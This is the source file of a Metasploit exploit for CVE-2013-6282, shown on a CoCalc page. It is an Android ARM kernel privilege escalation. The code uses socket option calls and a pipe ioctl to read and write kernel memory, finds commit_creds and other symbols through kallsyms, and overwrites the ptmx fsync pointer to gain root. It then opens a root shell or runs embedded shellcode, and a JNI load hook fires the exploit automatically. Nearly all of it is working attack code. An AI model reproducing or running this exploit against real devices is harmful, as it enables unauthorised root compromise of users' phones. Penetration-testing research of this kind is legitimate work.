CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2013-6282/exploit.c
Views: 11780
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <stdbool.h>
4
#include <netinet/in.h>
5
#include <sys/ioctl.h>
6
#include <sys/socket.h>
7
#include <sys/ptrace.h>
8
#include <sys/syscall.h>
9
#include <sys/wait.h>
10
#include <sys/mman.h>
11
#include <fcntl.h>
12
#include <jni.h>
13
14
unsigned char shellcode_buf[2048] = { 0x90, 0x90, 0x90, 0x90 };
15
16
#define KERNEL_START_ADDRESS 0xc0008000
17
#define KERNEL_SIZE 0x2000000
18
#define SEARCH_START_ADDRESS 0xc0800000
19
#define KALLSYMS_SIZE 0x200000
20
#define PTMX_DEVICE "/dev/ptmx"
21
22
#ifdef DEBUG
23
#include <android/log.h>
24
#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); fflush(stdout)
25
#else
26
#define LOGV(...)
27
#endif
28
29
unsigned long prepare_kernel_cred_address = 0;
30
unsigned long commit_creds_address = 0;
31
unsigned long ptmx_fops_address = 0;
32
unsigned long ptmx_open_address = 0;
33
unsigned long tty_init_dev_address = 0;
34
unsigned long tty_release_address = 0;
35
unsigned long tty_fasync_address = 0;
36
unsigned long ptm_driver_address = 0;
37
38
unsigned long pattern_kallsyms_addresses[] = {
39
0xc0008000, /* stext */
40
0xc0008000, /* _sinittext */
41
0xc0008000, /* _stext */
42
0xc0008000 /* __init_begin */
43
};
44
unsigned long pattern_kallsyms_addresses2[] = {
45
0xc0008000, /* stext */
46
0xc0008000 /* _text */
47
};
48
unsigned long pattern_kallsyms_addresses3[] = {
49
0xc00081c0, /* asm_do_IRQ */
50
0xc00081c0, /* _stext */
51
0xc00081c0 /* __exception_text_start */
52
};
53
unsigned long pattern_kallsyms_addresses4[] = {
54
0xc0008180,
55
0xc0008180,
56
0xc0008180
57
};
58
59
unsigned long *kallsymsmem = NULL;
60
unsigned long kallsyms_num_syms;
61
unsigned long *kallsyms_addresses;
62
unsigned char *kallsyms_names;
63
unsigned char *kallsyms_token_table;
64
unsigned short *kallsyms_token_index;
65
unsigned long *kallsyms_markers;
66
67
struct cred;
68
struct task_struct;
69
70
struct cred *(*prepare_kernel_cred)(struct task_struct *);
71
int (*commit_creds)(struct cred *);
72
73
bool bChiled;
74
75
int read_value_at_address(unsigned long address, unsigned long *value) {
76
int sock;
77
int ret;
78
int i;
79
unsigned long addr = address;
80
unsigned char *pval = (unsigned char *)value;
81
socklen_t optlen = 1;
82
83
*value = 0;
84
errno = 0;
85
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
86
if (sock < 0) {
87
LOGV("socket() failed: %s.\n", strerror(errno));
88
return -1;
89
}
90
91
for (i = 0; i < sizeof(*value); i++, addr++, pval++) {
92
errno = 0;
93
ret = setsockopt(sock, SOL_IP, IP_TTL, (void *)addr, 1);
94
if (ret != 0) {
95
if (errno != EINVAL) {
96
LOGV("setsockopt() failed: %s.\n", strerror(errno));
97
close(sock);
98
*value = 0;
99
return -1;
100
}
101
}
102
errno = 0;
103
ret = getsockopt(sock, SOL_IP, IP_TTL, pval, &optlen);
104
if (ret != 0) {
105
LOGV("getsockopt() failed: %s.\n", strerror(errno));
106
close(sock);
107
*value = 0;
108
return -1;
109
}
110
}
111
112
close(sock);
113
114
return 0;
115
}
116
117
unsigned long *kerneldump(unsigned long startaddr, unsigned long dumpsize) {
118
unsigned long addr;
119
unsigned long val;
120
unsigned long *allocaddr;
121
unsigned long *memaddr;
122
123
LOGV("dumping kernel...\n");
124
allocaddr = (unsigned long *)malloc(dumpsize);
125
if (allocaddr == NULL) {
126
LOGV("malloc failed: %s.\n", strerror(errno));
127
return NULL;
128
}
129
memaddr = allocaddr;
130
131
for (addr = startaddr; addr < (startaddr + dumpsize); addr += 4, memaddr++) {
132
if (read_value_at_address(addr, &val) != 0) {
133
LOGV("kerneldump failed: %s.\n", strerror(errno));
134
return NULL;
135
}
136
*memaddr = val;
137
}
138
139
return allocaddr;
140
}
141
142
int check_pattern(unsigned long *addr, unsigned long firstval, unsigned long *pattern, int patternnum) {
143
unsigned long val;
144
unsigned long cnt;
145
unsigned long i;
146
147
if (firstval == pattern[0]) {
148
cnt = 1;
149
for (i = 1; i < patternnum; i++) {
150
read_value_at_address((unsigned long)(&addr[i]), &val);
151
if (val == pattern[i]) {
152
cnt++;
153
} else {
154
break;
155
}
156
}
157
if (cnt == patternnum) {
158
return 0;
159
}
160
}
161
162
return -1;
163
}
164
165
int check_kallsyms_header(unsigned long *addr) {
166
unsigned long val;
167
read_value_at_address((unsigned long)addr, &val);
168
169
if (check_pattern(addr, val, pattern_kallsyms_addresses, sizeof(pattern_kallsyms_addresses) / 4) == 0) {
170
return 0;
171
} else if (check_pattern(addr, val, pattern_kallsyms_addresses2, sizeof(pattern_kallsyms_addresses2) / 4) == 0) {
172
return 0;
173
} else if (check_pattern(addr, val, pattern_kallsyms_addresses3, sizeof(pattern_kallsyms_addresses3) / 4) == 0) {
174
return 0;
175
} else if (check_pattern(addr, val, pattern_kallsyms_addresses4, sizeof(pattern_kallsyms_addresses4) / 4) == 0) {
176
return 0;
177
}
178
179
return -1;
180
}
181
182
int get_kallsyms_addresses() {
183
unsigned long *endaddr;
184
unsigned long i, j;
185
unsigned long *addr;
186
unsigned long n;
187
unsigned long val;
188
unsigned long off;
189
190
if (read_value_at_address(KERNEL_START_ADDRESS, &val) != 0) {
191
LOGV("this device is not supported.\n");
192
return -1;
193
}
194
LOGV("search kallsyms...\n");
195
endaddr = (unsigned long *)(KERNEL_START_ADDRESS + KERNEL_SIZE);
196
for (i = 0; i < (KERNEL_START_ADDRESS + KERNEL_SIZE - SEARCH_START_ADDRESS); i += 16) {
197
for (j = 0; j < 2; j++) {
198
/* get kallsyms_addresses pointer */
199
if (j == 0) {
200
kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS + i);
201
} else {
202
if ((i == 0) || ((SEARCH_START_ADDRESS - i) < KERNEL_START_ADDRESS)) {
203
continue;
204
}
205
kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS - i);
206
}
207
if (check_kallsyms_header(kallsyms_addresses) != 0) {
208
continue;
209
}
210
addr = kallsyms_addresses;
211
off = 0;
212
213
/* search end of kallsyms_addresses */
214
n = 0;
215
while (1) {
216
read_value_at_address((unsigned long)addr, &val);
217
if (val < KERNEL_START_ADDRESS) {
218
break;
219
}
220
n++;
221
addr++;
222
off++;
223
if (addr >= endaddr) {
224
return -1;
225
}
226
}
227
228
/* skip there is filled by 0x0 */
229
while (1) {
230
read_value_at_address((unsigned long)addr, &val);
231
if (val != 0) {
232
break;
233
}
234
addr++;
235
off++;
236
if (addr >= endaddr) {
237
return -1;
238
}
239
}
240
241
read_value_at_address((unsigned long)addr, &val);
242
kallsyms_num_syms = val;
243
addr++;
244
off++;
245
if (addr >= endaddr) {
246
return -1;
247
}
248
249
/* check kallsyms_num_syms */
250
if (kallsyms_num_syms != n) {
251
continue;
252
}
253
254
LOGV("kallsyms_addresses=%08lx\n", (unsigned long)kallsyms_addresses);
255
LOGV("kallsyms_num_syms=%08lx\n", kallsyms_num_syms);
256
kallsymsmem = kerneldump((unsigned long)kallsyms_addresses, KALLSYMS_SIZE);
257
if (kallsymsmem == NULL) {
258
return -1;
259
}
260
kallsyms_addresses = kallsymsmem;
261
endaddr = (unsigned long *)((unsigned long)kallsymsmem + KALLSYMS_SIZE);
262
263
addr = &kallsymsmem[off];
264
265
/* skip there is filled by 0x0 */
266
while (addr[0] == 0x00000000) {
267
addr++;
268
if (addr >= endaddr) {
269
return -1;
270
}
271
}
272
273
kallsyms_names = (unsigned char *)addr;
274
275
/* search end of kallsyms_names */
276
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
277
int len = kallsyms_names[off];
278
off += len + 1;
279
if (&kallsyms_names[off] >= (unsigned char *)endaddr) {
280
return -1;
281
}
282
}
283
284
/* adjust */
285
addr = (unsigned long *)((((unsigned long)&kallsyms_names[off] - 1) | 0x3) + 1);
286
if (addr >= endaddr) {
287
return -1;
288
}
289
290
/* skip there is filled by 0x0 */
291
while (addr[0] == 0x00000000) {
292
addr++;
293
if (addr >= endaddr) {
294
return -1;
295
}
296
}
297
/* but kallsyms_markers shoud be start 0x00000000 */
298
addr--;
299
300
kallsyms_markers = addr;
301
302
/* end of kallsyms_markers */
303
addr = &kallsyms_markers[((kallsyms_num_syms - 1) >> 8) + 1];
304
if (addr >= endaddr) {
305
return -1;
306
}
307
308
/* skip there is filled by 0x0 */
309
while (addr[0] == 0x00000000) {
310
addr++;
311
if (addr >= endaddr) {
312
return -1;
313
}
314
}
315
316
kallsyms_token_table = (unsigned char *)addr;
317
318
i = 0;
319
while ((kallsyms_token_table[i] != 0x00) || (kallsyms_token_table[i + 1] != 0x00)) {
320
i++;
321
if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
322
return -1;
323
}
324
}
325
326
/* skip there is filled by 0x0 */
327
while (kallsyms_token_table[i] == 0x00) {
328
i++;
329
if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
330
return -1;
331
}
332
}
333
334
/* but kallsyms_markers shoud be start 0x0000 */
335
kallsyms_token_index = (unsigned short *)&kallsyms_token_table[i - 2];
336
337
return 0;
338
}
339
}
340
return -1;
341
}
342
343
unsigned long kallsyms_expand_symbol(unsigned long off, char *namebuf) {
344
int len;
345
int skipped_first;
346
unsigned char *tptr;
347
unsigned char *data;
348
349
/* Get the compressed symbol length from the first symbol byte. */
350
data = &kallsyms_names[off];
351
len = *data;
352
off += len + 1;
353
data++;
354
355
skipped_first = 0;
356
while (len > 0) {
357
tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
358
data++;
359
len--;
360
361
while (*tptr > 0) {
362
if (skipped_first != 0) {
363
*namebuf = *tptr;
364
namebuf++;
365
} else {
366
skipped_first = 1;
367
}
368
tptr++;
369
}
370
}
371
*namebuf = '\0';
372
373
return off;
374
}
375
376
int search_functions() {
377
char namebuf[1024];
378
unsigned long i;
379
unsigned long off;
380
int cnt;
381
382
cnt = 0;
383
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
384
off = kallsyms_expand_symbol(off, namebuf);
385
if (strcmp(namebuf, "prepare_kernel_cred") == 0) {
386
prepare_kernel_cred_address = kallsyms_addresses[i];
387
cnt++;
388
} else if (strcmp(namebuf, "commit_creds") == 0) {
389
commit_creds_address = kallsyms_addresses[i];
390
cnt++;
391
} else if (strcmp(namebuf, "ptmx_open") == 0) {
392
ptmx_open_address = kallsyms_addresses[i];
393
cnt++;
394
} else if (strcmp(namebuf, "tty_init_dev") == 0) {
395
tty_init_dev_address = kallsyms_addresses[i];
396
cnt++;
397
} else if (strcmp(namebuf, "tty_release") == 0) {
398
tty_release_address = kallsyms_addresses[i];
399
cnt++;
400
} else if (strcmp(namebuf, "tty_fasync") == 0) {
401
tty_fasync_address = kallsyms_addresses[i];
402
cnt++;
403
} else if (strcmp(namebuf, "ptmx_fops") == 0) {
404
ptmx_fops_address = kallsyms_addresses[i];
405
}
406
}
407
408
if (cnt < 6) {
409
return -1;
410
}
411
412
return 0;
413
}
414
415
void analyze_ptmx_open() {
416
unsigned long i, j, k;
417
unsigned long addr;
418
unsigned long val;
419
unsigned long regnum;
420
unsigned long data_addr;
421
422
LOGV("analyze ptmx_open...\n");
423
for (i = 0; i < 0x200; i += 4) {
424
addr = ptmx_open_address + i;
425
read_value_at_address(addr, &val);
426
if ((val & 0xff000000) == 0xeb000000) {
427
if ((((tty_init_dev_address / 4) - (addr / 4 + 2)) & 0x00ffffff) == (val & 0x00ffffff)) {
428
for (j = 1; j <= i; j++) {
429
addr = ptmx_open_address + i - j;
430
read_value_at_address(addr, &val);
431
if ((val & 0xfff0f000) == 0xe5900000) {
432
regnum = (val & 0x000f0000) >> 16;
433
for (k = 1; k <= (i - j); k++) {
434
addr = ptmx_open_address + i - j - k;
435
read_value_at_address(addr, &val);
436
if ((val & 0xfffff000) == (0xe59f0000 + (regnum << 12))) {
437
data_addr = addr + (val & 0x00000fff) + 8;
438
read_value_at_address(data_addr, &val);
439
ptm_driver_address = val;
440
return;
441
}
442
}
443
}
444
}
445
}
446
}
447
}
448
449
return;
450
}
451
452
unsigned long search_ptmx_fops_address() {
453
unsigned long *addr;
454
unsigned long range;
455
unsigned long *ptmx_fops_open;
456
unsigned long i;
457
unsigned long val, val2, val5;
458
459
LOGV("search ptmx_fops...\n");
460
if (ptm_driver_address != 0) {
461
addr = (unsigned long *)ptm_driver_address;
462
} else {
463
addr = (unsigned long *)(kallsyms_addresses[kallsyms_num_syms - 1]);
464
}
465
addr++;
466
ptmx_fops_open = NULL;
467
range = ((KERNEL_START_ADDRESS + KERNEL_SIZE) - (unsigned long)addr) / sizeof(unsigned long);
468
for (i = 0; i < range - 14; i++) {
469
read_value_at_address((unsigned long)(&addr[i]), &val);
470
if (val == ptmx_open_address) {
471
read_value_at_address((unsigned long)(&addr[i + 2]), &val2);
472
if (val2 == tty_release_address) {
473
read_value_at_address((unsigned long)(&addr[i + 5]), &val5);
474
if (val5 == tty_fasync_address) {
475
ptmx_fops_open = &addr[i];
476
break;
477
}
478
}
479
}
480
}
481
482
if (ptmx_fops_open == NULL) {
483
return 0;
484
}
485
return ((unsigned long)ptmx_fops_open - 0x2c);
486
}
487
488
int get_addresses() {
489
prepare_kernel_cred_address = 0;
490
commit_creds_address = 0;
491
ptmx_fops_address = 0;
492
ptmx_open_address = 0;
493
tty_init_dev_address = 0;
494
tty_release_address = 0;
495
tty_fasync_address = 0;
496
ptm_driver_address = 0;
497
498
if (get_kallsyms_addresses() != 0) {
499
if (kallsymsmem != NULL) {
500
free(kallsymsmem);
501
kallsymsmem = NULL;
502
}
503
LOGV("kallsyms_addresses search failed.\n");
504
return -1;
505
}
506
507
if (search_functions() != 0) {
508
if (kallsymsmem != NULL) {
509
free(kallsymsmem);
510
kallsymsmem = NULL;
511
}
512
LOGV("search_functions failed.\n");
513
return -1;
514
}
515
516
if (ptmx_fops_address == 0) {
517
analyze_ptmx_open();
518
ptmx_fops_address = search_ptmx_fops_address();
519
if (ptmx_fops_address == 0) {
520
if (kallsymsmem != NULL) {
521
free(kallsymsmem);
522
kallsymsmem = NULL;
523
}
524
LOGV("search_ptmx_fops_address failed.\n");
525
return -1;
526
}
527
}
528
529
if (kallsymsmem != NULL) {
530
free(kallsymsmem);
531
kallsymsmem = NULL;
532
}
533
534
LOGV("\n");
535
LOGV("prepare_kernel_cred=%08lx\n", prepare_kernel_cred_address);
536
LOGV("commit_creds=%08lx\n", commit_creds_address);
537
LOGV("ptmx_fops=%08lx\n", ptmx_fops_address);
538
LOGV("ptmx_open=%08lx\n", ptmx_open_address);
539
LOGV("tty_init_dev=%08lx\n", tty_init_dev_address);
540
LOGV("tty_release=%08lx\n", tty_release_address);
541
LOGV("tty_fasync=%08lx\n", tty_fasync_address);
542
LOGV("ptm_driver=%08lx\n", ptm_driver_address);
543
LOGV("\n");
544
545
return 0;
546
}
547
548
void obtain_root_privilege(void) {
549
commit_creds(prepare_kernel_cred(0));
550
}
551
552
static bool run_obtain_root_privilege(void *user_data) {
553
int fd;
554
555
fd = open(PTMX_DEVICE, O_WRONLY);
556
fsync(fd);
557
close(fd);
558
559
return true;
560
}
561
562
/*
563
void ptrace_write_value_at_address(unsigned long int address, void *value) {
564
pid_t pid;
565
long ret;
566
int status;
567
568
bChiled = false;
569
pid = fork();
570
if (pid < 0) {
571
return;
572
}
573
if (pid == 0) {
574
ret = ptrace(PTRACE_TRACEME, 0, 0, 0);
575
if (ret < 0) {
576
LOGV("PTRACE_TRACEME failed\n");
577
}
578
bChiled = true;
579
signal(SIGSTOP, SIG_IGN);
580
kill(getpid(), SIGSTOP);
581
return;
582
}
583
584
do {
585
ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &bChiled, &bChiled);
586
} while (!bChiled);
587
588
ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &value, (void *)address);
589
if (ret < 0) {
590
LOGV("PTRACE_PEEKDATA failed: %s\n", strerror(errno));
591
}
592
593
kill(pid, SIGKILL);
594
waitpid(pid, &status, WNOHANG);
595
}
596
*/
597
598
int pipe_write_value_at_address(unsigned long address, void* value)
599
{
600
char data[4];
601
int pipefd[2];
602
int i;
603
604
*(long *)&data = (long)value;
605
606
if (pipe(pipefd) == -1) {
607
perror("pipe");
608
return 1;
609
}
610
611
for (i = 0; i < (int) sizeof(data) ; i++) {
612
char buf[256];
613
buf[0] = 0;
614
if (data[i]) {
615
if (write(pipefd[1], buf, data[i]) != data[i]) {
616
LOGV("error in write().\n");
617
break;
618
}
619
}
620
621
if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {
622
perror("ioctl");
623
break;
624
}
625
626
if (data[i]) {
627
if (read(pipefd[0], buf, sizeof buf) != data[i]) {
628
LOGV("error in read().\n");
629
break;
630
}
631
}
632
}
633
634
close(pipefd[0]);
635
close(pipefd[1]);
636
637
return (i == sizeof (data));
638
}
639
640
bool overwrite_ptmx_fsync_address(unsigned long int address, void *value, bool (*exploit_callback)(void *user_data), void *user_data) {
641
bool success;
642
643
/*ptrace_write_value_at_address(address, value);*/
644
pipe_write_value_at_address(address, value);
645
success = exploit_callback(user_data);
646
647
return success;
648
}
649
650
static bool run_exploit(void) {
651
unsigned long int ptmx_fops_fsync_address;
652
653
prepare_kernel_cred = (void *)prepare_kernel_cred_address;
654
commit_creds = (void *)commit_creds_address;
655
656
ptmx_fops_fsync_address = ptmx_fops_address + 0x38;
657
return overwrite_ptmx_fsync_address(ptmx_fops_fsync_address, &obtain_root_privilege, run_obtain_root_privilege, NULL);
658
}
659
660
void init_exploit() {
661
662
if (get_addresses() != 0) {
663
LOGV("Failed to get addresses.\n");
664
return;
665
}
666
667
run_exploit();
668
669
int uid = getuid();
670
if (uid != 0) {
671
LOGV("Failed to get root.\n");
672
return;
673
}
674
675
if (shellcode_buf[0] == 0x90) {
676
LOGV("No shellcode, uid=%d\n", uid);
677
system("/system/bin/sh -i");
678
return;
679
}
680
LOGV("running shellcode, uid=%d\n", uid);
681
682
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
683
if (ptr == MAP_FAILED) {
684
return;
685
}
686
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
687
void (*shellcode)() = (void(*)())ptr;
688
shellcode();
689
690
LOGV("exiting.\n");
691
}
692
693
int main(int argc, char **argv) {
694
695
init_exploit();
696
697
exit(EXIT_SUCCESS);
698
}
699
700
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
701
{
702
JNIEnv *env;
703
LOGV("onload, uid=%d\n", getuid());
704
705
if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
706
{
707
return -1;
708
}
709
710
int pid = fork();
711
if (pid == 0) {
712
init_exploit();
713
}
714
return JNI_VERSION_1_4;
715
}
716
717
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
718
{
719
}
720
721